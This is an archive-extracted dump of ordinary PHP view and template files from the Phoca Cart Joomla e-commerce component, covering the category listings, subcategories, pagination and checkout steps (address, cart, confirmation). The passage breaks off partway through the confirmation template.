* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutC = new JLayoutFile('categories_category', null,
array('component' => 'com_phocacart'));
echo '<div
class="'.PhocacartRenderFront::completeClass(array($this->s['c']['row'],
$this->t['class_row_flex'], 'grid',
'ph-row-cats',
$this->t['class_lazyload'])).'">';
$col = 12/(int)$this->p->get('columns_cats', 3);
foreach ($this->t['categories'] as $v) {
echo '<div
class="'.$this->s['c']["col.xs12.sm{$col}.md{$col}"].'
row-item">';
echo '<div
class="'.$this->s['c']['grid'].'
ph-item-box">';
echo '<div
class="'.$this->s['c']['thumbnail'].'
b-thumbnail ph-thumbnail ph-thumbnail-c">';
echo '<div class="ph-item-content">';
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
$d['p'] = $this->p;
$d['v'] = $v;
$d['image_size'] = 'medium';
echo $layoutC->render($d);
echo '<div class="ph-cb"></div>';
echo '</div>';
echo '</div>';
echo '</div>';
echo '</div>'. "\n";
}
echo '</div>';
?>
categories/tmpl/index.html000064400000000054151165726730011656
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>category/index.html000064400000000054151165726730010372
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>category/metadata.xml000064400000000273151165726740010703
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_CATEGORY_GROUP">
<message><![CDATA[COM_PHOCACART_CATEGORY_GROUP_DESC]]></message>
</view>
</metadata>category/tmpl/default_header.php000064400000003635151165726750013030
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
if (isset($this->category[0]->parentid) &&
($this->t['display_back'] == 1 ||
$this->t['display_back'] == 3)) {
if ($this->category[0]->parentid == 0) {
$linkUp = JRoute::_(PhocacartRoute::getCategoriesRoute());
$linkUpText = JText::_('COM_PHOCACART_CATEGORIES');
} else if ($this->category[0]->parentid > 0) {
$linkUp =
JRoute::_(PhocacartRoute::getCategoryRoute($this->category[0]->parentid,
$this->category[0]->parentalias));
$linkUpText = $this->category[0]->parenttitle;
} else {
$linkUp = false;
$linkUpText = false;
}
if ($linkUp && $linkUpText) {
echo '<div class="ph-top">'
.'<a
class="'.$this->s['c']['btn.btn-success'].'"
title="'.$linkUpText.'" href="'.
$linkUp.'" >'
.'<span
class="'.$this->s['i']['back-category'].'"></span>
'.JText::_($linkUpText).'</a>'
.'</div>';
}
}
echo $this->t['event']->onCategoryBeforeHeader;
$title = '';
if (isset($this->category[0]->title) &&
$this->category[0]->title != '') {
$title = $this->category[0]->title;
}
// Image meta is used for open graph plugins
$imageMeta = '';
if (isset($this->category[0]->image) &&
$this->category[0]->image != '') {
$pathItem = $this->t['pathcat'];
$imageMeta = JURI::base(true) . '/'.
$pathItem['orig_rel_ds'] .$this->category[0]->image;
}
echo PhocacartRenderFront::renderHeader(array($title), '',
$imageMeta);
if ( isset($this->category[0]->description) &&
$this->category[0]->description != '') {
echo '<div class="ph-desc">'.
Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$this->category[0]->description). '</div>';
}
?>
category/tmpl/default_pagination.php000064400000001246151165726750013725
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$this->t['action'] = str_replace('&',
'&', $this->t['action']);
$this->t['action'] =
htmlspecialchars($this->t['action']);
$layout = new JLayoutFile('category_pagination', null,
array('component' => 'com_phocacart'));
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
echo $layout->render($d);
?>
category/tmpl/default_pagination_top.php000064400000001252151165726750014604
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$this->t['action'] = str_replace('&',
'&', $this->t['action']);
$this->t['action'] =
htmlspecialchars($this->t['action']);
$layout = new JLayoutFile('category_pagination_top', null,
array('component' => 'com_phocacart'));
$d = array();
$d['t'] = $this->t;
$d['s'] = $this->s;
echo $layout->render($d);
?>
category/tmpl/default_subcategories.php000064400000005117151165726750014434
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutI = new JLayoutFile('category_image', null,
array('component' => 'com_phocacart'));
if (!empty($this->subcategories) &&
(int)$this->t['cv_display_subcategories'] > 0) {
echo '<div
class="ph-subcategories">'.JText::_('COM_PHOCACART_SUBCATEGORIES')
. ':</div>';
$j = 0;
if ($this->t['cv_subcategories_layout'] == 2) {
// IMAGE BOXES
// Columns of subcategories = columns of products
$col =
PhocacartRenderFront::getColumnClass((int)$this->t['columns_subcat_cat']);
echo '<div
class="'.$this->s['c']['row.row-flex'].'
grid">';
foreach($this->subcategories as $v) {
if ($j == (int)$this->t['cv_display_subcategories']) {
break;
}
echo ' <div
class="'.$this->s['c']["col.xs12.sm{$col}.md{$col}"].'
row-item-subcategory">';
echo ' <div
class="ph-item-subcategory-box">';
$image =
PhocacartImage::getThumbnailName($this->t['pathcat'],
$v->image, 'small');
if (isset($image->rel) && $image->rel != '') {
echo '<a
href="'.JRoute::_(PhocacartRoute::getCategoryRoute($v->id,
$v->alias)).'">';
$dI = array();
$dI['t'] = $this->t;
$dI['s'] = $this->s;
$dI['image']['title'] = $v->title;
$dI['image']['image'] = $image;
echo $layoutI->render($dI);
echo '</a>';
} else {
echo '<a
href="'.JRoute::_(PhocacartRoute::getCategoryRoute($v->id,
$v->alias)).'">'.$v->title.'</a>';
}
echo '<h3><a
href="'.JRoute::_(PhocacartRoute::getCategoryRoute($v->id,
$v->alias)).'">'.$v->title.'</a></h3>';
echo ' </div>';
echo ' </div>';
$j++;
}
echo '</div>';
} else {
// LISTS
echo '<ul>';
foreach($this->subcategories as $v) {
if ($j == (int)$this->t['cv_display_subcategories']) {
break;
}
/* $image =
PhocacartImage::getThumbnailName($this->t['pathcat'],
$v->image, 'small');
if (isset($image->rel)) {
echo '<a
href="'.JRoute::_(PhocacartRoute::getCategoryRoute($v->id,
$v->alias)).'"><img src="'.
JURI::base(true).'/'.$image->rel.'" alt=""
class="img-responsive ph-image" /></a>';
}*/
echo '<li><a
href="'.JRoute::_(PhocacartRoute::getCategoryRoute($v->id,
$v->alias)).'">'.$v->title.'</a></li>';
$j++;
}
echo '</ul>';
}
echo '<div class="ph-hr"></div>';
}
?>
category/tmpl/index.html000064400000000054151165726750011350
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>category/view.raw.php000064400000024326151165726750010662
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
jimport( 'joomla.filesystem.folder' );
jimport( 'joomla.filesystem.file' );
class PhocaCartViewCategory extends JViewLegacy
{
protected $category;
protected $subcategories;
protected $items;
protected $t;
protected $r;
protected $p;
protected $s;
function display($tpl = null) {
$app = JFactory::getApplication();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$model = $this->getModel();
$document = JFactory::getDocument();
$this->t['categoryid'] = $app->input->get(
'id', 0, 'int' );
$this->t['limitstart'] = $app->input->get(
'limitstart', 0, 'int' );
$this->t['ajax'] = 1;
// PARAMS
$this->t['view'] = 'category';
$this->t['category_layout_plugin'] = $this->p->get(
'category_layout_plugin', '');
$this->t['display_new'] = $this->p->get(
'display_new', 0 );
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
//$this->t['description'] = $this->p->get(
'description', '' );
$this->t['cv_display_description'] = $this->p->get(
'cv_display_description', 1 );
$this->t['image_width_cat'] = $this->p->get(
'image_width_cat', '' );
$this->t['image_height_cat'] = $this->p->get(
'image_height_cat', '' );
//$this->t['image_link'] = $this->p->get(
'image_link', 0 );
$this->t['columns_cat'] = $this->p->get(
'columns_cat', 3 );
$this->t['columns_subcat_cat'] = $this->p->get(
'columns_subcat_cat', 3 );
$this->t['enable_social'] = $this->p->get(
'enable_social', 0 );
$this->t['cv_display_subcategories']= $this->p->get(
'cv_display_subcategories', 5 );
$this->t['display_back'] = $this->p->get(
'display_back', 3 );
$this->t['display_compare'] = $this->p->get(
'display_compare', 0 );
$this->t['display_wishlist'] = $this->p->get(
'display_wishlist', 0 );
$this->t['display_quickview'] = $this->p->get(
'display_quickview', 0 );
$this->t['display_addtocart_icon'] = $this->p->get(
'display_addtocart_icon', 0 );
$this->t['fade_in_action_icons'] = $this->p->get(
'fade_in_action_icons', 0 );
// Hide action icon box if no icon displayed
$this->t['display_action_icons'] = 1;
if ($this->t['display_compare'] == 0 &&
$this->t['display_wishlist'] == 0 &&
$this->t['display_quickview'] == 0 &&
$this->t['display_addtocart_icon'] == 0) {
$this->t['display_action_icons'] = 0;
}
$this->t['category_addtocart'] = $this->p->get(
'category_addtocart', 1 );
$this->t['dynamic_change_image'] = $this->p->get(
'dynamic_change_image', 0);
$this->t['dynamic_change_price'] = $this->p->get(
'dynamic_change_price', 0 );
$this->t['dynamic_change_stock'] = $this->p->get(
'dynamic_change_stock', 0 );
$this->t['remove_select_option_attribute']=
$this->p->get( 'remove_select_option_attribute', 1 );
$this->t['add_compare_method'] = $this->p->get(
'add_compare_method', 0 );
$this->t['add_wishlist_method'] = $this->p->get(
'add_wishlist_method', 0 );
$this->t['display_addtocart'] = $this->p->get(
'display_addtocart', 1 );
$this->t['display_star_rating'] = $this->p->get(
'display_star_rating', 0 );
$this->t['add_cart_method'] = $this->p->get(
'add_cart_method', 0 );
$this->t['hide_attributes_category'] = $this->p->get(
'hide_attributes_category', 1 );
$this->t['hide_attributes'] = $this->p->get(
'hide_attributes', 0 );
$this->t['display_stock_status'] = $this->p->get(
'display_stock_status', 1 );
$this->t['hide_add_to_cart_stock'] = $this->p->get(
'hide_add_to_cart_stock', 0 );
$this->t['zero_attribute_price'] = $this->p->get(
'zero_attribute_price', 1 );
$this->t['hide_add_to_cart_zero_price'] =
$this->p->get( 'hide_add_to_cart_zero_price', 0 );
$this->t['cv_subcategories_layout'] = $this->p->get(
'cv_subcategories_layout', 1 );
$this->t['category_askquestion'] = $this->p->get(
'category_askquestion', 0 );
$this->t['popup_askquestion'] = $this->p->get(
'popup_askquestion', 1 );
$this->t['display_products_all_subcategories'] =
$this->p->get('display_products_all_subcategories', 0);
// Rights or catalogue options --------------------------------
$rights = new PhocacartAccessRights();
$this->t['can_display_price'] =
$rights->canDisplayPrice();
$this->t['can_display_addtocart'] =
$rights->canDisplayAddtocart();
$this->t['can_display_attributes'] =
$rights->canDisplayAttributes();
if (!$this->t['can_display_addtocart']) {
$this->t['category_addtocart'] = 0;
$this->t['display_addtocart_icon'] = 0;
//$this->t['hide_attributes_category']= 1; Should be
displayed or not?
}
if (!$this->t['can_display_attributes']) {
$this->t['hide_attributes_category'] = 1;
}
// ------------------------------------------------------------
$this->t['display_view_product_button'] =
$this->p->get( 'display_view_product_button', 1 );
$this->t['product_name_link'] = $this->p->get(
'product_name_link', 0 );
$this->t['switch_image_category_items'] =
$this->p->get( 'switch_image_category_items', 0 );
$this->t['lazy_load_category_items'] = $this->p->get(
'lazy_load_category_items', 0 );
$this->t['lazy_load_categories'] = $this->p->get(
'lazy_load_categories', 0 );// Subcategories
$this->t['medium_image_width'] = $this->p->get(
'medium_image_width', 300 );
$this->t['medium_image_height'] = $this->p->get(
'medium_image_height', 200 );
$this->t['display_webp_images'] = $this->p->get(
'display_webp_images', 0 );
$this->t['category_display_labels'] = $this->p->get(
'category_display_labels', 2 );
$this->t['category_display_tags'] = $this->p->get(
'category_display_tags', 0 );
$this->t['category_display_manufacturer'] =
$this->p->get( 'category_display_manufacturer', 0 );
$this->t['manufacturer_alias'] = $this->p->get(
'manufacturer_alias', 'manufacturer');
$this->t['manufacturer_alias'] =
$this->t['manufacturer_alias'] != '' ?
trim(PhocacartText::filterValue($this->t['manufacturer_alias'],
'alphanumeric')) : 'manufacturer';
$this->t['show_pagination'] =
$this->p->get('show_pagination');
$this->t['show_pagination_top'] =
$this->p->get('show_pagination_top', 1);
$this->t['display_item_ordering'] =
$this->p->get('display_item_ordering');
$this->t['display_item_ordering_top'] =
$this->p->get('display_item_ordering_top', 1);
$this->t['show_pagination_limit'] =
$this->p->get('show_pagination_limit');
$this->t['show_pagination_limit_top'] =
$this->p->get('show_pagination_limit_top', 1);
$this->t['ajax_pagination_category'] =
$this->p->get('ajax_pagination_category', 0);
$this->t['display_pagination_labels'] =
$this->p->get('display_pagination_labels', 1);
$this->t['show_switch_layout_type'] =
$this->p->get('show_switch_layout_type', 1);
$this->category =
$model->getCategory($this->t['categoryid']);
if (empty($this->category)) {
echo '<div class="alert
alert-error">'.JText::_('COM_PHOCACART_NO_CATEGORY_FOUND').'</div>';
} else {
$this->subcategories =
$model->getSubcategories($this->t['categoryid']);
$this->items =
$model->getItemList($this->t['categoryid']);
$this->t['pagination'] =
$model->getPagination($this->t['categoryid']);
$this->t['ordering'] = $model->getOrdering();
$this->t['layouttype'] = $model->getLayoutType();
$this->t['layouttypeactive'] =
PhocacartRenderFront::setActiveLayoutType($this->t['layouttype']);
$this->t['columns_cat'] =
$this->t['layouttype'] == 'grid' ?
$this->t['columns_cat'] : 1;
$uri->delVar('format');// !!! REMOVE format parameter
because return url needs to go to standard html
$this->t['action'] = $uri->toString();
//$this->t['actionbase64'] =
base64_encode(htmlspecialchars($this->t['action']));
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkcheckout'] =
JRoute::_(PhocacartRoute::getCheckoutRoute(0,
(int)$this->t['categoryid']));
$this->t['linkcomparison'] =
JRoute::_(PhocacartRoute::getComparisonRoute(0,
(int)$this->t['categoryid']));
$this->t['linkwishlist'] =
JRoute::_(PhocacartRoute::getWishListRoute(0,
(int)$this->t['categoryid']));
$this->t['limitstarturl'] =
$this->t['limitstart'] > 0 ?
'&start='.$this->t['limitstart'] :
'';
$this->t['pathcat'] =
PhocacartPath::getPath('categoryimage');
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
$this->t['class_row_flex'] =
$this->p->get('equal_height', 1) == 1 ?
'ph-row-flex' : '';
$this->t['class_fade_in_action_icons'] =
$this->p->get('fade_in_action_icons', 0) == 1 ?
'b-thumbnail' : '';
$this->t['class_lazyload'] =
$this->t['lazy_load_category_items'] == 1 ?
'ph-lazyload' : '';
$model->hit((int)$this->t['categoryid']);
// Plugins ------------------------------------------
JPluginHelper::importPlugin('pcv');
//$this->t['dispatcher'] = J
EventDispatcher::getInstance();
$this->t['event'] = new stdClass;
$results =
\JFactory::getApplication()->triggerEvent('PCVonCategoryBeforeHeader',
array('com_phocacart.category', &$this->items,
&$this->p));
$this->t['event']->onCategoryBeforeHeader =
trim(implode("\n", $results));
// Foreach values are rendered in default foreaches
// Layout plugins - completely new layout including foreach
$this->t['pluginlayout'] = false;
if ($this->t['category_layout_plugin'] != '') {
$this->t['category_layout_plugin'] =
PhocacartText::filterValue($this->t['category_layout_plugin'],
'alphanumeric2');
$this->t['pluginlayout'] =
JPluginHelper::importPlugin('pcl',
$this->t['category_layout_plugin']);
}
if ($this->t['pluginlayout']) {
$this->t['show_switch_layout_type'] = 0;
}
// END Plugins --------------------------------------
parent::display($tpl);
}
}
}
?>
checkout/index.html000064400000000054151165726750010364
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>checkout/metadata.xml000064400000000275151165726750010676
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_CHECKOUT_GROUP">
<message>
<![CDATA[COM_PHOCACART_CHECKOUT_GROUP_DESC]]>
</message>
</view>
</metadata>checkout/tmpl/default.php000064400000005161151165726750011504
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div id="ph-pc-checkout-box"
class="pc-checkout-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo
PhocacartRenderFront::renderHeader(array(JText::_('COM_PHOCACART_CHECKOUT')));
if ( isset($this->t['checkout_desc']) &&
$this->t['checkout_desc'] != '') {
// Checkout description
echo '<div class="ph-desc">'.
$this->t['checkout_desc']. '</div>';
}
echo $this->loadTemplate('cart');
echo $this->t['event']->onCheckoutAfterCart;
// Coupon form before login
if ($this->t['enable_coupons'] > 0 &&
$this->t['display_apply_coupon_form'] == 2) {
if ($this->t['enable_coupons'] == 1) {
// Display for all
echo $this->loadTemplate('coupon');
} else if ($this->t['enable_coupons'] == 2 &&
($this->a->login == 1 || $this->a->login == 2)){
// Display for logged in user or guest checkout started
echo $this->loadTemplate('coupon');
}
}
// Reward points form before login
if ($this->t['enable_rewards'] > 0 &&
$this->t['display_apply_reward_points_form'] == 2) {
echo $this->loadTemplate('rewardpoints');
}
echo $this->loadTemplate('login');
echo $this->t['event']->onCheckoutAfterLogin;
// Coupon form after login or
// Coupon form after login but user needs to be logged in or guest checkout
is on
if ($this->t['enable_coupons'] > 0 &&
$this->t['display_apply_coupon_form'] == 3) {
if ($this->t['enable_coupons'] == 1) {
// Display for all
echo $this->loadTemplate('coupon');
} else if ($this->t['enable_coupons'] == 2 &&
($this->a->login == 1 || $this->a->login == 2)){
// Display for logged in user or guest checkout started
echo $this->loadTemplate('coupon');
}
}
// Reward points form after login
if ($this->t['enable_rewards'] > 0 &&
$this->t['display_apply_reward_points_form'] == 3) {
echo $this->loadTemplate('rewardpoints');
}
echo $this->loadTemplate('address');
echo $this->t['event']->onCheckoutAfterAddress;
echo $this->loadTemplate('shipping');
echo $this->t['event']->onCheckoutAfterShipping;
echo $this->loadTemplate('payment');
echo $this->t['event']->onCheckoutAfterPayment;
echo $this->loadTemplate('confirm');
echo $this->t['event']->onCheckoutAfterConfirm;
echo '</div>';// end ph-pc-checkout-box
echo '<div id="phContainer"></div>';
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
?>
checkout/tmpl/default.xml000064400000000724151165726750011515
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_CHECKOUT_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_CHECKOUT_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_CHECKOUT_LAYOUT</name>
<description>COM_PHOCACART_CHECKOUT_LAYOUT_DESC</description>
<fields name="request">
<fieldset name="request"
addfieldpath="/administrator/components/com_phocacart/models/fields">
</fieldset>
</fields>
</metadata>checkout/tmpl/default_address.php000064400000014672151165726750013220
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutI = new JLayoutFile('icon_checkout_status', null,
array('component' => 'com_phocacart'));
$d = array();
$d['s'] = $this->s;
$d['suffix'] = $this->t['icon_suffix'];
$d['number'] = $this->t['na'];
$d['type'] = $this->t['checkout_icon_status'];
if ($this->a->addressedit == 1) {
$d['status'] = 'pending';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row">';
// Header
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header"
id="phcheckoutaddressedit">'.$layoutI->render($d).'<h3>'.$this->t['na'].'.
'.JText::_('COM_PHOCACART_BILLING_AND_SHIPPING_ADDRESS').'</h3></div>';
echo '</div>';
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phCheckoutAddress">';
echo '<div id="ph-request-message"
style="display:none"></div>';
// Body
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'
ph-checkout-billing-row" id="phBillingAddress" >';
if ($this->t['dataaddressform']['b'] !=
'') {
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_BILLING_ADDRESS').'</div>';
echo $this->t['dataaddressform']['b'];
}
echo '</div>';// end row
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'
ph-checkout-shipping-row" id="phShippingAddress"
>';
if ($this->t['dataaddressform']['s'] !=
'') {
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_SHIPPING_ADDRESS').'</div>';
echo $this->t['dataaddressform']['s'];
}
echo '</div>';// end row
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'">';
echo '<div
class="'.$this->s['c']['pull-right'].'
ph-checkout-check-box">';
if ($this->t['dataaddressform']['s'] !=
'' &&
$this->t['$delivery_billing_same_enabled'] != -1) {
echo '<div class="checkbox">';
echo '<label><input type="checkbox"
id="phCheckoutBillingSameAsShipping"
name="phcheckoutbsas"
'.$this->t['dataaddressform']['bsch'].'
>
'.JText::_('COM_PHOCACART_DELIVERY_AND_BILLING_ADDRESSES_ARE_THE_SAME').'</label>';
echo '</div>';
}
echo '</div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'">';
echo '<div
class="'.$this->s['c']['pull-right'].'
ph-checkout-address-save">';
echo '<button
class="'.$this->s['c']['btn.btn-primary.btn-sm'].'"><span
class="'.$this->s['i']['save'].'"></span>
'.JText::_('COM_PHOCACART_SAVE').'</button>';
//echo '<input type="submit" value="submit"
/>';
echo '</div>';
echo '</div>';
echo '</div>'."\n";// end
ph-checkout-box-action
echo '<input type="hidden" name="tmpl"
value="component" />'. "\n";
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="task"
value="checkout.saveaddress" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
} else if ($this->a->addressview == 1){
$d['status'] = 'finished';
// User completed all items in the form
// Header
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row">';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header"
id="phcheckoutaddressview">'.$layoutI->render($d).'<h3>'.$this->t['na'].'.
'.JText::_('COM_PHOCACART_BILLING_AND_SHIPPING_ADDRESS').'</h3></div>';
echo '</div>';
// end Header
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phCheckoutAddress">';
echo '<div id="ph-request-message"
style="display:none"></div>';
// Body
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-action">';
if (isset($this->t['dataaddressoutput']['bsch'])
&& $this->t['dataaddressoutput']['bsch'] ==
1) {
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-billing-row" >';
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_BILLING_AND_SHIPPING_ADDRESS').'</div>';
echo $this->t['dataaddressoutput']['b'];
echo '</div>';// end row
//echo '<div class="col-sm-6 col-md-6
ph-checkout-shipping-row" >';
//echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_SHIPPING_ADDRESS').'</div>';
//echo
JText::_('COM_PHOCACART_BILLING_AND_SHIPPING_ADDRESS_IS_THE_SAME');
//echo '</div>';
} else {
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'
ph-checkout-billing-row" >';
if ($this->t['dataaddressoutput']['b'] !=
'') {
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_BILLING_ADDRESS').'</div>';
echo $this->t['dataaddressoutput']['b'];
}
echo '</div>';// end row
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'
ph-checkout-shipping-row" >';
if ($this->t['dataaddressoutput']['s'] !=
'') {
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_SHIPPING_ADDRESS').'</div>';
echo $this->t['dataaddressoutput']['s'];
}
echo '</div>';
}
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'">';
echo '<div
class="'.$this->s['c']['pull-right'].'
ph-checkout-address-edit">';
echo '<button
class="'.$this->s['c']['btn.btn-success.btn-sm'].'
ph-btn"><span
class="'.$this->s['i']['edit'].'"></span>
'.JText::_('COM_PHOCACART_EDIT_ADDRESS').'</button>';
echo '</div>';
echo '</div>';
echo '</div>'; // end ph-checkout-box-action
echo '<input type="hidden" name="addressedit"
value="1" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
//echo '<input type="hidden" name="task"
value="checkout.editaddress" />'. "\n";
//echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
} else {
$d['status'] = 'pending';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row">';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header-pas">'.$layoutI->render($d).'<h3>'.$this->t['na'].'.
'.JText::_('COM_PHOCACART_BILLING_AND_SHIPPING_ADDRESS').'</h3></div>';
echo '</div>';
}
?>
checkout/tmpl/default_cart.php000064400000000720151165726750012511
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div class="phCheckoutCartBox"
id="phCheckoutCartBox">';
echo $this->t['cartoutput'];
echo '</div>';
?>checkout/tmpl/default_confirm.php000064400000013133151165726750013217
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutPC = new JLayoutFile('form_privacy_checkbox', null,
array('component' => 'com_phocacart'));
$layoutNC = new JLayoutFile('form_newsletter_checkbox', null,
array('component' => 'com_phocacart'));
if ($this->a->confirm == 1) {
if ($this->t['stock_checking'] == 1 &&
$this->t['stock_checkout'] == 1 &&
$this->t['stockvalid'] == 0) {
// Header
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" id="phcheckoutconfirmedit" >';
echo '<div class="alert
alert-error">'.JText::_('COM_PHOCACART_PRODUCTS_NOT_AVAILABLE_IN_QUANTITY_OR_NOT_IN_STOCK_UPDATE_QUANTITY_BEFORE_ORDERING').'</div>';
echo '</div>';
} else if ($this->t['minqtyvalid'] == 0 ||
$this->t['minmultipleqtyvalid'] == 0) {
// Header
if ($this->t['minqtyvalid'] == 0) {
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" >';
echo '<div class="alert
alert-error">'.JText::_('COM_PHOCACART_MINIMUM_ORDER_QUANTITY_OF_ONE_OR_MORE_PRODUCTS_NOT_MET_UPDATE_QUANTITY_BEFORE_ORDERING').'</div>';
echo '</div>';
}
if ($this->t['minmultipleqtyvalid'] == 0) {
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" >';
echo '<div class="alert
alert-error">'.JText::_('COM_PHOCACART_MINIMUM_MULTIPLE_ORDER_QUANTITY_OF_ONE_OR_MORE_PRODUCTS_NOT_MET_UPDATE_QUANTITY_BEFORE_ORDERING').'</div>';
echo '</div>';
}
} else {
// Header
echo '<div
class="ph-checkout-confirm-box-row">';
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phCheckoutAddress">';
echo '<div
class="ph-checkout-box-action-raw">';
echo '<div id="ph-request-message"
style="display:none"></div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-confirm-row" id="phConfirm" >';
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_NOTES_AND_REQUESTS_ABOUT_ORDER').'</div>';
echo '<textarea class="form-control"
name="phcomment" rows="3"></textarea>';
echo '</div>';
